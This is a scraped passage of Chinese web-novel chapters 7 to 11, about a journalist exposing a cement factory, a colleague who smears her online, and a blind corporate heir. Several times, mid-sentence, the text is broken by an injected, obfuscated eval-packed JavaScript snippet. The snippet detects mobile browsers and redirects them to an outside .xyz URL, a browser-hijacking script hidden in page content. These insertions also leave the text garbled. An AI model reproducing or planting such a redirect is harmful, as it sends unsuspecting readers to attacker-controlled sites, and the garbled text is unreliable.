RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231052|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而孟希贤在上报陈编辑之前,曾经咨询过张丹丹的意见,甚至将写好的报告也给她看过了。 更重要的是,张丹丹和她一起跑了巾帼水泥厂的新闻,金秉诚信誓旦旦地要她付出代价,以他的作风,难道会单独放过张丹丹吗? 孟希贤的心一点点沉下去。 她闭了闭眼,压下那股被熟人背后捅刀子的冰冷感觉。现在不是难受的时候。 她翻身下床,坐到桌前打开电脑。 以前跑社会新闻时,为了追查网上的谣言源头和网络诈骗,她专门自学过一阵子网络信息的溯源追踪。虽然不算什么高手,但对付这种匿名发帖,还是有点办法。 她先注册了几个临时邮箱和社交媒体小号,伪装成普通网友去私信那个“深扒职场”博主,想套点话或者试探IP痕迹,但对方很警觉,根本不回。 她转而分析帖子本身,看文字风格、标点习惯、用词特点。 她再翻出了张丹丹以前在报社内网发的投稿、写的邮件、朋友圈的文字,一点点比对。 接着,她通过公开的API接口和工具,调出那个时间段微博服务器的登录日志,发现发帖账号的登录IP地址显示是海外的代理服务器,这显然是做了伪装。 但这难不倒她。孟希贤开始反向追踪那个代理服务器的流量。 这是个笨功夫,需要时间和耐心,她不停地敲击键盘,翻查各种公开的服务器日志和路由节点记录。 时间一点点过去,窗外的天从蒙蒙亮到完全放晴。 终于,一条出口IP地址被她锁定了。她继续追查这个IP活跃的其他关联账号,在一个技术论坛上,找到了一个注册邮箱。 而邮箱的用户名,和张丹丹的一模一样。 果然是她! 孟希贤靠在椅背上,感觉不到轻松,只有一种被彻底背叛的确凿感。 她拿起手机,找到张丹丹的电话号码,拨了过去。 张丹丹的声音传来,听起来很平常,“希贤啊,这么早有事吗?” “有事”,孟希贤单刀直入,“热搜你看了吧?那个‘职场女恶霸’的帖子,指名道姓地点到了我。” 电话那头沉默了几秒,张丹丹说:“看了一眼,你得罪人了?” 孟希贤嗤了一声,一字一句道:“那帖子是你发的。” 这次张丹丹沉默的时间更长了点。但她没有否认,也没有惊讶,只是问:“你凭什么这么说?” 孟希贤:“凭我找到了你发帖用的代理服务器出口IP,凭那个IP关联到的论坛账号邮箱。可惜了,你的技术痕迹抹得还不够干净。” 电话那头只有轻微的呼吸声,没有回应。 孟希贤毕竟念着旧情,再度抱着一丝希望开口:“我知道,不一定是你想搞我,是金秉诚找过你,他翻出了去年巾帼水泥厂的事。你是被他拉下水的,对不对?其实这种时候,你应该……” 终于,电话里传来一下短暂的笑声,打断了孟希贤剩下的话。 张丹丹叹了口气,“孟希贤,你还是这么自以为是。金董给的太多了,难道我不选择他,还选择你吗?” 孟希贤不可置信地摇摇头,情绪激动起来,“张丹丹你值得吗?为了点钱,就把自己的新闻理想和记者操守全扔粪坑里了?一个记者,就算有天大的委屈,就算再看不惯谁,也不能捏造事实当枪手!那帖子里多少截图是断章取义?多少爆料是添油加醋?你还取名‘深扒职场’,扒的就是你自己的底裤吧。张丹丹,我以前觉得你虽然傲了点,但至少脑子清醒,有底线。现在为了钱,底线也不要了,如果价钱合适,估计你连尊严也能论斤卖!” 孟希贤的话像刀子一样甩过去,毫不留情。她等着张丹丹的辩解,等着她的愤怒,哪怕是一点点心虚也好。 然而,张丹丹只是道:“孟希贤,你说完了吗?说完了,我还有事。尊严,理想,这些重要吗?对我来说,现在拿到手里的东西才最重要。你太高看你自己,也太高看那点过去的情分了。” “还有”,她最后补充了一句,“以后别再打这个电话了。” 8. 第 8 章 孟希贤把手机屏幕朝下扣在桌子上,捏了捏眉心。 她呆坐了一会,缓过来了又开始给自己鼓劲。 金秉诚那老狐狸想用这招把她按死?张丹丹为了点钱就能背后捅刀子?门儿都没有! 她坐直身体,点开手机相册,找到一个名为“水泥厂”的文件夹。 里面的照片,她没有交给杂志社,就连张丹丹也没看过。 “好得很”,她自言自语,带着一股豁出去的冷,“不是想玩脏的吗?那就来点更大的。” 她打开电脑,登录了自己长草的个人社交媒体账号,名字就叫“孟希贤”,头像还是几年前随手拍的一棵树。她的粉丝不多,基本都是同行或者以前的同学朋友。 她新建了个帖子,标题简单粗暴:“巾帼水泥厂,工人的命不是命?” 她的手指在键盘上悬停了一下,然后噼里啪啦敲起来: 【几个月前,我和同事一起调查巾帼水泥厂设备问题。事实很清楚:厂子用了不合格的便宜机器,粉尘处理等于没有。工人天天在里面吸灰,得呼吸道毛病的不少,虽然没立刻要命,但拖着也是遭罪。负责人白露态度嚣张,拒绝采访。我冲到她饭局上当面问,她下不来台,威胁要告我。这厂子背后是谁?钱从哪来?水很深。照片为证,不怕查。】 她把几张最触目惊心的照片选出来,一张是机器接口漏缝,粉尘像烟一样往外冒;一张是工人摘下口罩,鼻子里都是黑灰;还有一张,是角落里堆放的劣质滤芯。 除此之外,还有一张模糊处理过的照片,正是白露被质问时,那张又惊又怒的脸。 她全部传上社交平台,然后点了发送。屏幕上的圆圈转了几秒,显示发布成功。 孟希贤盯着那个提示,胸口堵着的气好像泄出去了一点。 她起身去厨房煮了点东西吃,又接了杯冷水,咕咚咕咚灌下去。冰凉的水顺着喉咙滑下去,让她脑子更清醒了点。 她走回电脑前坐下,刷新了一下自己刚发的帖子,底下已经开始有各种评论: 【卧槽!真的假的?这粉尘也太吓人了!】 【巾帼水泥厂?好像有点耳熟,背后真有大佬?】 【前排吃瓜,楼主刚被黑就放猛料?不会是转移视线吧?】 【楼上傻逼吗?这照片造假成本太高了吧?工人太惨了……】 【蹲一个后续!楼主保护好自己!】 【让子弹再飞一会。】 孟希贤没回复任何一条,她决定再加把火。 以前做采访时,她有时会开直播软件,现在用起来是驾轻就熟。 她理了理妆容,调整摄像头角度,对准了自己的上半身。 屏幕里的女人,眼睛很亮,带着一股豁出去的劲头。 她深吸一口气,点了“开始直播”,标题是:“聊聊水泥厂和被黑的事,在线等” 刚刚开播,只有零星几个人进来,弹幕飘过: 【???本人?】 【哇,真是那个女恶霸?】 【主播要解释吗?】 孟希贤清了清嗓子,对着麦克风开口:“大家好,我是孟希贤。对,就是热搜上那个被挂了几天‘职场女恶霸’的孟希贤。我知道很多人是来看热闹的,也有人是真信了那些帖子骂我的。没关系,我今天开播,不是来解释那些狗屁倒灶的职场八卦,那玩意儿脏水泼过来,清者自清,我没工夫跟小人扯皮。” “我开播,是为我刚发的那个帖子。巾帼水泥厂的事,是真的。我亲自去查的,照片也是我拍的。工人们每天在那种环境干活,吸进去的都是伤肺的东西。厂子里的人,从负责人白露开始,就没把工人的命当回事。为什么?因为背后有人撑腰,那人钱很多。” 弹幕渐渐多了起来: 【主播硬气!】 【卧槽直接点名了?】 【背后是谁啊?敢不敢说?】 【支持曝光,工人的命也是命!】 孟希贤看着滚动的弹幕,继续说:“我知道有人在查我,想搞我,包括那个热搜,也是冲我来的。为什么?因为我查了不该查的,挡了人家的财路,碍了人家的眼。他们想用‘女恶霸’这种烂标签把我搞臭,让我闭嘴。但我今天把话放这儿:我孟希贤的嘴,捂不住。” 她的声音提高了一点,带着明显的怒气:“水泥厂这事,我认是我曝光的,但那些躲在键盘后面编故事的,收钱办事抹黑我的,你们等着,一笔一笔,我都记着!以后有的是机会说。” 弹幕彻底炸了: 【姐姐好刚!!!】 【这才是真·职场恶霸(褒义)!】 【资本的力量?怕个鸟!】 【支持孟姐!告死那些造谣的!】 【水泥厂的事今天必须上热搜,姐妹们顶起来!】 【主播小心啊,感觉你真被盯上了!】 孟希贤看着满屏的支持和愤怒,整个人终于畅快了不少。 她放缓了语气,苦笑道:“谢谢大家关心。人身安全我自己会注意,但也恳请大家,如果看到有什么关于我的不实信息到处传,帮忙举报一下。我一个人,挡不住那么多水军。” 【放心,举报包在我们身上。】 【已转发帖子,社会新闻比八卦重要一万倍。】 【姐姐保护好自己。我们顶你!】 【热搜变了,快去看,水泥厂上去了!】 【哈哈哈,#巾帼水泥厂工人健康#冲上第五了,抹黑贴掉下去了。】 直播开了快一个小时,孟希贤回答了一些关于水泥厂调查过程的细节问题,她有意避开金晖集团的名字,只强调背后有资本势力,因为那是她的底牌。 下播的时候,#巾帼水泥厂劣质机器#和#孟希贤直播#两个词条,已经爬上热搜前十,而那个抹黑她的,早就掉得没影了。 关了电脑,孟希贤才觉得嗓子有点哑,后背也出了一层薄汗。 无论怎样,现在舆论彻底翻过来了,压力全到了对面那边。 接下来的两天,她没出门,在家里关注着网上的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231053|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静。 她那个曝光帖的转发量已经几十万,之前骂她的声音几乎被淹没了,偶尔冒出来,也被网友怼得不敢吱声。 有媒体开始跟进报道水泥厂的事,要求相关部门介入调查。 她的私信爆了,有支持的,有提供线索的,也有求合作的。 第三天下午,天阴沉沉的,像是要下雨。孟希贤正在整理电脑里的一些资料,手机响了,是个本地的陌生号码。 她接起来“喂”了一声,电话那头的声音有点抖,带着掩饰不住的慌张和讨好,“是我,丹丹……” 孟希贤握着手机,没说话。 张丹丹哭道:“希贤,你在家吗?我在你家楼下……我错了,我真的错了!你能下来一下吗?我们当面说,好不好?求你了……” 孟希贤走到窗边,撩开一点窗帘往下看。 老旧小区的楼下,停着一辆眼熟的小车。张丹丹就站在旁边,头发被风吹得有点乱。她正仰着头,焦急地往楼上看,手里紧紧攥着手机。 “等着”,孟希贤对着电话说了两个字,挂了。 她没立刻下去,慢悠悠地换了件外套,整理好厨房,才提着垃圾袋下楼。 她刚把垃圾扔进单元楼外的垃圾桶,张丹丹就像看到救命稻草一样扑了过来。 她皱了皱眉,往旁边让了一步。 张丹丹眼圈通红,脸上脂粉未施,显得憔悴不堪。她一个劲的道歉,“对不起对不起,真的对不起!我是猪油蒙了心!” 孟希贤抱着胳膊,冷冷地看着她,没接话。 张丹丹着急地解释,眼泪也流了下来:“是金董让人找我,给了我一大笔钱。他说只要发几个帖子,说你职场霸凌,抢功劳,就能放过我参与报道水泥厂的事情。你知道的,金董势力太大,我与他抗争,无非就是鸡蛋击石头。” 孟希贤躲开张丹丹想抓住她的手,“所以你就把我推出去,将自己摘得干干净净?” 张丹丹哭得更凶了,身体都在抖,“我真没想到事情会闹这么大,更没想到你会直接上网去说水泥厂的事。现在那些网民都在骂我,还有人说要人肉我。陈编辑也看到了那些报道,我的工作快要保不住了……希贤,看在我们以前一起跑新闻的份上,你放我一马吧,求你了!” 孟希贤看着她涕泪横流的样子,心里的火早就被鄙夷取代了。这才是张丹丹,精于算计,永远把自己放在第一位。 她决定以其之道还治彼身,问道:“那你用什么来换呢?” 张丹丹立刻说:“我可以发澄清帖,就说那些都是我瞎编的,是有人指使的。我把收钱的证据都贴出来,还你清白。只要你在后面的直播中,不要说帖子是我发的。希贤,我真的不能丢工作啊,我刚离婚不久,还有小孩要养……” 孟希贤沉默了一会,开口:“帖子,你自己发。什么时候发,怎么发,是你的事。” 她顿了顿,看着张丹丹眼中燃起的希望火光,又冷冷地浇上一盆冰水:“至于我呢,要不要把你的名字点出来,看心情。” 9. 第 9 章 手机屏幕的光,在金司承眼前成为一团黄色光晕。只有一些色块在碰撞,偶尔拉伸出扭曲的线。 他在床头柜上摸索了几下,抓到了一个硬盒子,里面有副一百多万的助视镜,是金秉诚托人从国外买回来的,用的是当今最先进的技术。 金司承将它架上鼻梁,眼前的世界像是对上了一点点焦的大光圈镜头。 他跟着孟希贤的直播,记忆的时针拨回了三个月前。 那个叫白露的女人,拿到了一个资金充足的政府特批项目,加上她刚二婚不久,想着把丈夫也介绍进圈子,于是举行了一个衣香鬓影的祝酒宴。 那天,宴会厅里全是光滑的绸缎、精致的妆容和毫无意义的谈笑,空气里还腻着他最讨厌的昂贵香水味。他当时只觉得烦,闷得慌,想找个角落透气。 就在那时,一个身影突兀地闯了过来。 她穿着普通的卫衣,下身是深色牛仔裤,在一堆精心打扮的人群里,扎眼得像个误入舞会的修理工。 她走到白露面前,毫不畏惧地将麦克风递过去:“白总,我是《人文之友》的记者孟希贤,你不愿意接受采访,我今天只好来这里堵你了。请问巾帼水泥厂的工人集体肺病,机器设备报告显示严重老化,你们有没有更换计划?有没有考虑过工人的后续治疗和赔偿?大众有权力知道真相。” 宴会厅里陡然一静。 金司承记得白露精心描画的笑容僵在嘴角,瞬间只留下一片惊怒交加的惨白。 孟希贤却拔高声音,继续质问她:“说话啊,白总,那些工人都是家里的顶梁柱,以后他们一家老小怎么办?他们中的很多人,可能还要终身服药,钱又从哪里来呢?还是你觉得,人命不过如草芥,他们被毁了后半辈子也不要紧?” 嗡嗡的议论声重新响起,甚至越来越大。白露的脸色由白转青,眼神躲闪着,就是不肯吐出一个字。 几个穿着黑西装的保安终于从人群边缘挤了过来,粗鲁地架起不肯后退的孟希贤,拖拽着往外走。 金司承当时就站在不远处,手里端着一杯一口没动的香槟。他看着被保安带走还在奋力扭头试图喊话的身影,总觉得自己在哪里见过这个记者,但怎么也想不起来。 更让他没想到的是,后面和他一起去三皇山的,也是她。 私自离开医院那几天,他原本心情很低落,因为“人情冷暖”这个词儿活了,化成一群面目模糊的影子轮番登场。 他的病房门开了又关,关了又开。各种做作的寒暄混杂着果篮的气味涌进来,那些声音裹着糖衣,底下全是冰碴子。 某个叔伯拍了拍他的肩膀,“司承啊,放宽心,吉人自有天相,现在科技发达得很。” “承哥,那项目你别担心,金董都安排好了有人接手呢”,某个在饭桌上认识的合作伙伴,说着劝慰的话,唯独缺了真心实意。 他躺在病床上,脸上木着,仿佛戴了副面具。 直到人都走干净了,护士进来换药,他才从牙缝里挤出一句:“下次谁再来闹腾,就说我睡了,不要放人。” 手机成了金司承最后的试探。 他的指尖在屏幕上摸索着,朗读软件那缺少感情的电子音,是他与外界脆弱的连线。 他找到那些发小的名字,费劲地将一条条语音发过去。 “赵鹏,有空来陪我说说话吗?闷得慌。” “陈少,最近忙什么?” 但是,屏幕上只剩下他自己发送出去的信息,就像丢进深渊的石子,无声无息。 偶尔有一两条隔了半天才来的回复,敷衍得让人心寒:“哎呀承哥,正陪老爷子看项目呢,改天,改天一定去看你。” 金司承扯了扯嘴角,冰凉的笑意粘在脸上,化不开。 他摸索着点开朋友圈,手指在屏幕上机械地滑动,电子音念出那些与他无关的热闹: 【陈少分享照片:马尔代夫的日落真TM绝了,人生得意须尽欢!】 【赵鹏打卡:新开的米其林三星,也就那样吧。】 他猜他们的配图是碧海蓝天和美女。他看不见,但听得见那份张扬的快活。 原来,只有他的世界塌了,他们的太阳照常升起,甚至更加灿烂。 孟希贤直播的声音将他的思绪拉回现实。他这才意识到,自己失明以来,只有这个女人,还愿意带他寻找人生价值。 跟着金秉诚在商场上滚打摸爬这么多年,他不是一个善良的人,但知恩报恩的道理,他还是懂的。 特别是今天听她直播,他才知道,自己那位受人尊敬的父亲,私下的手段比他想象的还要龌龊。 他决心为孟希贤做点力所能及的事。 —————————— 病房门被人推开,皮鞋踩在光洁的地板上,发出压迫的笃笃声。一股熟悉的雪茄味道,像无形的墙压过来,渐渐填满了整个空间。 金秉诚的声音响起,是例行公事般的询问,“听医生说,你这几天还算配合治疗,助视镜也愿意戴了,现在感觉怎么样?” 金司承默了默,说:“是能看一点东西了,这几天我上网,看到了几个和孟希贤相关的热搜。” 金秉诚哼笑一下,不置可否。 金司承后槽牙咬得咯咯轻响,仿佛是在积蓄力量。好一会儿,他微微抬头,朝着父亲声音传来的方向,恳求道:“爸,到此为止吧,放过她。” 空气凝固了几秒钟。 金秉诚审视着金司承,问:“你很久没叫过我‘爸’了,现在为了那个记者开口?” 金司承的脸颊肌肉不受控制地抽动了一下,强迫自己继续说下去,“水泥厂的事,她手上握着照片,除了现在网上发布的那些,谁也不知道她手里还有什么证据,除了她自己。而且,她现在只是点名了代理公司,万一她把集团的名头捅出来,连着之前找人抹黑她的事,也一起算到集团头上,场面会更难看。” 又是一阵令人窒息的沉默。 金司承虽然看不真切,但他知道此时父亲的眼神,冰冷地就像两道探针在他脸上来回扫视。 金秉诚的声音终于再次响起,带着失望,“金司承,你以前不是这样的。你把心思都用在了生意场上,从来不会为了一个女人跑到我面前讨价还价。” 顿了顿,他得出了一个结论:“你已经彻底废了。” 这句话,就像一把淬了剧毒的刀子,精准无比地扎进了金司承心脏最柔软的地方。 但金秉诚仿佛看不见儿子的情绪起伏,继续自顾自道:“水泥厂的事,到此为止。那个记者,不会再有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231054|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动她。我还犯不着为了只蚂蚁,把自己也拖进泥坑。” 脚步声再度响起,在门口停顿了一下,“至于你……季家早上打了电话给我,说退婚的事。你现在已经毫无价值,以后就安心当个花瓶。下周末有慈善晚宴,都是以家庭为单位参加的,你要来,蕊希回国了也要来。” —————————— 出租屋的窗户半开着,楼下邻居炒菜的味道,还有小孩子的哭嚎声,一股脑地糊进来。 孟希贤刚从婚纱照的活儿上爬回来,浑身的骨头缝里都泛着酸,尤其是俩肩膀,抬一下都费劲。她的眼皮子打架打得激烈,瞌睡虫眼看就要得胜占领高地。 就在这半梦半醒的临界点,床头柜上的手机响了起来。 孟希贤抱怨了一声,认命地翻了个身,看到手机屏幕上跳着“王雅丛”的名字。 王雅丛是孟希贤的大学师妹,两人都是摄影社的成员。毕业后,孟希贤进入了杂志社,王雅丛则找了一份策划公司的工作。 孟希贤寒暄了几句,问:“咋了小师妹,有啥指示?” “嗐,指示啥呀,关心关心你的近况不行啊?”王雅丛话锋一转,问:“前段时间网上乌烟瘴气的破事儿,都消停了吧?” 孟希贤吐了口气,“应该算风头过去了吧。该删的帖删了,想跳脚的也跳不动了。” “那就好,总算清净了!”王雅丛松了口气,又问:“那工作呢?有啥动静没?” 孟希贤无奈地笑了笑,“就那样,行内现在对我冷处理。不过也正常,大家都要吃饭,谁乐意招惹麻烦,换我我也躲。” 她握了握拳,像是给自己鼓劲,又像是安慰王雅丛,“没事儿,饿不死。活儿嘛,总能找到。” “师姐你这心态就对了!”王雅丛赶紧顺着她的话往下说,语调重新扬起来,“我就知道师姐你打不垮!哎,说到活儿,我这有个,不知道你感不感兴趣?” “我们公司接了个策划,是‘启明星’儿童基金会搞的年度慈善晚宴。时间是本周六的晚上,在云顶酒店的大宴会厅,来的全是些有头有脸的人物。基金会那边出了高价,要找有经验的摄影师全程跟拍,记录点感人瞬间啊、大人物亲民互动之类的素材,给他们做宣传册子和新闻稿用。” “活儿是琐碎了点,站一晚上也挺熬人,但报酬给得是真不错……” 王雅丛说了半天,没等到孟希贤的回应。她试探着喊了声“师姐”,又问:“你觉得怎么样,能接不?时间有点紧,那边催着要定人。我琢磨着这活儿也就你这水准拿得下来。” 孟希贤的喉咙有点干。 第一直觉告诉她,金晖集团不会错过这种正面宣传的场合,这就意味着,她有可能见到金司承父子。 但她转念又一想,就算见面了又怎么样呢? 做错事的又不是她,是金秉诚那个老王八蛋! 她是差点被他踩得一蹶不振,可她靠自己硬生生站起来了。 该夹着尾巴做人的,是姓金的才对。 至于金司承…… 她是去拍照的,光明正大挣钱吃饭。他金大少爷吃他的山珍海味,她孟希贤按她的快门,大家井水不犯河水。 想通了这一点,孟希贤干脆利落地开了口:“行,活儿我接了。” 10. 第 10 章 为了工作方便,孟希贤在云顶酒店的慈善晚宴当晚,依旧是一身T恤牛仔裤加平底鞋的打扮。 她看着满场的来宾,男的西装革履,女的珠光宝气。他们端着酒杯,脸上挂着笑,走来走去,小声说着话,或者站在一块儿合影。 孟希贤的任务之一,就是抓拍这些互动,她基本整个晚上都得盯着取景器。 休息的时候,她揉了揉发酸的眼睛,一抬头就看见了不远处的金司承。 他今天穿了身合体的西装,衬得身材很好。最扎眼的是他鼻梁上架着一副眼镜,样式挺特别,镜片颜色有点深。 金秉诚也来了,他正侧着头跟旁边的生意伙伴说话。他表情严肃,手指头在桌面上轻轻点着。 他的另一边坐了一个年轻漂亮的女人,脸蛋和金司承有几分相似。她刷着手机,时不时和金司承交谈几句。 孟希贤推断,那是他的妹妹。 出于职业的本能,孟希贤把镜头稍微朝金家那桌偏了偏,按下了快门。 但是,拍照可以,过去打招呼就免了,她不想招惹他们家任何人。 晚宴拖拖拉拉搞了快三个小时。致辞、拍卖、表演、吃饭,一套流程走完,终于到了散场的时候。 宾客们开始起身,互相道别,三三两两地往外走。 孟希贤松了口气,她的拍摄任务基本完成了,就等最后再拍几张嘉宾离场的空镜。 她从侧门溜出宴会厅,想找个安静点的地方喘口气,顺便检查下相机里的照片。 长长的走廊铺着厚地毯,两边挂着些看不懂的抽象画,尽头通向外面的露台。 孟希贤刚走出去,就听见露台的一角有人交谈,气氛似乎不怎么愉快。 一个穿着亮色西装的男人挡在金司承面前,“哟,这不是金大少爷嘛,真是巧啊。” 孟希贤认得他是富二代常鸣,家里做建材生意的,常家以前和金晖集团抢过项目,还上过新闻。 金司承脚步顿了顿,脸转向声音来源的方向,“你有什么事?” “没事就不能跟你打个招呼了?”常鸣往前凑了凑,几乎贴在金司承面前,故意上下打量着,“啧啧,这眼镜挺酷啊,高科技啊?听说你现在……嗯,‘看’东西不太利索?哎呀,真是可惜了,以前多风光一人。” 金司承忽略掉常鸣语气里的幸灾乐祸,侧身想绕过去。 常鸣却故意挪了一步,又把他挡住了:“急什么呀?老朋友叙叙旧嘛。金董现在出来应酬带着你,这挺好的。反正你现在也干不了别的,就当个吉祥物,省心。” 这话说得太难听了。孟希贤靠在墙边看着,一股火气冒了上来。 她想起在三皇山,金司承哪怕瞎着,那股倔劲儿还在,恐高也要蹦极,帮老人卖水果时笨手笨脚却认真。现在居然被这么个玩意堵在这儿羞辱? 她把相机往身侧一挂,几步就走了过去,直接插到两人中间。 她盯着常鸣,语气不客气,“这位先生,麻烦让一下路好吗?” 常鸣被打断,皱着眉扫了眼孟希贤。他注意到她脖子上的工作牌,猜她不是会场的工作人员,就是小报记者。 他不耐烦道:“你谁啊,这儿有你说话的份吗?一边儿去,没看见我跟金大少聊着呢。” “路见不平,管个闲事”,孟希贤没退,继续道:“人家不愿意和你聊,你没看到?” 常鸣眼神轻蔑地在孟希贤身上又溜了一圈,带着浓浓的恶意,“你是想趁机巴结巴结金大少?啧,可惜啊小姐,你穿成这样,拎个破相机,就想往这个圈子里钻,太天真了!金大少就算现在眼神不好,也看不上你这号的。” 这话像针一样扎人。孟希贤的脸瞬间涨红了,一半是气的,一半是难堪。她攥紧了拳头,正想反驳。 金司承却突然开了口。 他的声音直接盖过了常鸣的聒噪:“她是我女朋友。” 不光常鸣愣住了,孟希贤也懵了,她猛地转头看向金司承。 金司承却朝她的方向伸出手,准确地抓住了她垂在身侧的手腕。 他一用力,把孟希贤往自己身边拉近了一步,那只手顺势往下滑,变成了和她十指相扣的样子。 他整套动作下来,十分自然,就像之前无数次在三皇山,孟希贤牵着他走路时那样。 孟希贤的手被金司承干燥微凉的手掌包裹着,心跳得飞快,几乎要撞出胸膛。 她没料到金司承会来这么一出,但也很快反应过来,现在不能露馅。 她僵硬地由金司承牵着,挺直了后背,尽量让自己的表情看起来理直气壮一点,“听到没,你挡着我男朋友的道了!” 话出了口,孟希贤感觉自己的脸烫得能煎鸡蛋,她瞄了金司承一眼,又暗暗庆幸他现在眼睛不好。 常鸣的眼神则在两人牵着的手上,还有孟希贤那身格格不入的打扮上来回扫了好几遍,表情渐渐从难以置信,变成了索然无味。 他大概觉得这剧情太离谱,超出了他的理解范围,或者觉得自己跟一个“瞎了眼的少爷”和他“不入流的小女友”计较,太掉价了。 他撇撇嘴,发出一声意义不明的嗤笑:“金大少,你现在的口味还真是特别哈!” 他最后又鄙夷地扫了孟希贤一眼,悻悻地转身走了。 露台一下子安静下来。 孟希贤的手还被金司承握着,她能感觉到他手指的骨节,还有掌心传来的细微汗意。 刚才那股撑着她冲出来的劲儿全部泄了,她现在只剩下尴尬。 她想告诉金司承不用再演了,身后却传来一个清脆又带着点娇气的声音,“哥,你在这儿磨蹭什么呢?” 孟希贤像被烫到,一下抽回了自己的手。金司承的手在半空中停留了一秒,也放了下来。 金蕊希踩着高跟鞋快步走过来,漂亮的小脸皱着眉,她先是看了一眼金司承,又毫不客气地打量着孟希贤。 她的眼神里有审视,有困惑,还有轻视和警惕。她显然看到了刚才两人牵着手的画面。 她伸手直接挽住金司承的胳膊,把他往电梯方向拉,“快走吧,司机都在楼下等半天了。爸也上车了,就等你一个。” 金司承被她拉得往前走了一步。他停下,转向孟希贤的方向,点点头,“谢谢了,再见。” 孟希贤心脏还在砰砰乱跳,她抿了抿唇,也干涩地回了句,“再见。” 金蕊希头也没回,拉着金司承快步走远,两人渐渐消失在走廊尽头的拐角。 孟希贤站在原地没动,她低头看了看自己那只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231055|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才被金司承握过的手,手心似乎还残留着一点他手掌的温度。她轻轻握了下拳,又松开。 她估摸着宾客这会都走得差不多了,准备返回宴会厅收拾东西,却听到有人喊她名字。 她回过头,几步开外,站着一个男人。他穿着一身价格不菲的西装,正有点惊讶地看着她。 他叫杨谦,是她的大学同学,和王雅丛一样,也是摄影社的成员。 上学那会,他是社里最狂热的一个,整天抱着相机琢磨光圈快门,为了拍个好片子能在郊外蹲一宿。 大三那年,他也追过孟希贤,但是她没答应,究其原因,他并非她喜欢的类型。 常鸣毕业的时候,进入了一家挺有名的杂志社,但得罪了上司,被排挤得很厉害,不得已转行了。 后来,他学着捣鼓点新媒体营销的东西,正好撞上风口,成为新商业的标杆。 孟希贤对杨谦出现在今晚的场合,并不意外,但她跟拍了整晚,都没怎么见到他。 她笑着打了个招呼,问:“杨谦,你什么时候来的?” 杨谦也笑着点点头,“今晚我要加班,快结束的时候才有空进来。” 他顿了顿,试探道:“希贤,刚才我看到你和一个男的牵手……是金司承吧?金晖集团那个大少爷?” 孟希贤有点无奈,大概描述了一遍事情的经过,最后她强调道:“金司承就是觉得这样子说比较省事,也能恶心常鸣,我们演戏的。” 杨谦听着,暗暗松了口气,嘴角也上弯了一点,“这样啊,我就说嘛,都没听你说过,怎么可能忽然就交了男朋友。” 孟希贤扯了扯嘴角,却没有笑意,明显不想再继续这个话题。 杨谦见她不吭声,又继续道:“希贤,你有没有想过换个方向?你现在这情况……嗯,我多少也听说了点。摄影这行,有时候是很难,尤其遇到点坎儿的时候。” “其实,你技术那么好,审美也在线,还在传统媒体中打转,或者单打独斗地拍点散活,太屈才了。现在流行的那些,短视频、直播带货、内容营销,需要的就是视觉表达能力强的人。你的专业底子在那儿,懂构图,懂光线,懂怎么抓眼球,这就是核心竞争力啊!” “你看啊,我现在公司摊子铺得有点大,正是缺人手的时候,你要是愿意过来,我们一起干。咱们老同学,知根知底,配合起来肯定顺畅。凭你的本事加上我现在的基础,还有风口这个势,用不了几年,绝对能做得风生水起。” 杨谦一口气说完,眼神热切地看着孟希贤,等着她的反应。 他觉得自己这番话既有道理又有诱惑力,还带着雪中送炭的情谊,孟希贤但凡脑子清醒点,就该答应。 他甚至还觉得,这是个机会,能把当年没追到的人,用一种更成熟的方式,重新拉近关系。 孟希贤却只是把手里一直攥着的相机肩带捏紧了点,“杨谦,谢谢你看得起我。” 她顿了顿,目光坦然地迎上杨谦的视线,“但是我对经商,真的一点兴趣都没有。你说的那些运营啊,爆款啊,它很好,能赚钱,能让你坐在这种地方喝酒。但那些东西,跟我拿着相机去对准的东西,不是一回事。我现在是挺难,可能以后会更难。但这相机,只要它还跟着我,我就还想拍下去。” 11. 第 11 章 孟希贤摘掉相机上的引闪器,扔进器材箱里。 她直起腰,脖子和肩膀嘎嘣响了两声。 今天早上,她对着玻璃杯和果盘弯腰拍了三个小时,灯光调得眼睛都花了。 她掏出手机,准备点个外卖对付一下,余小冰的电话就来了。 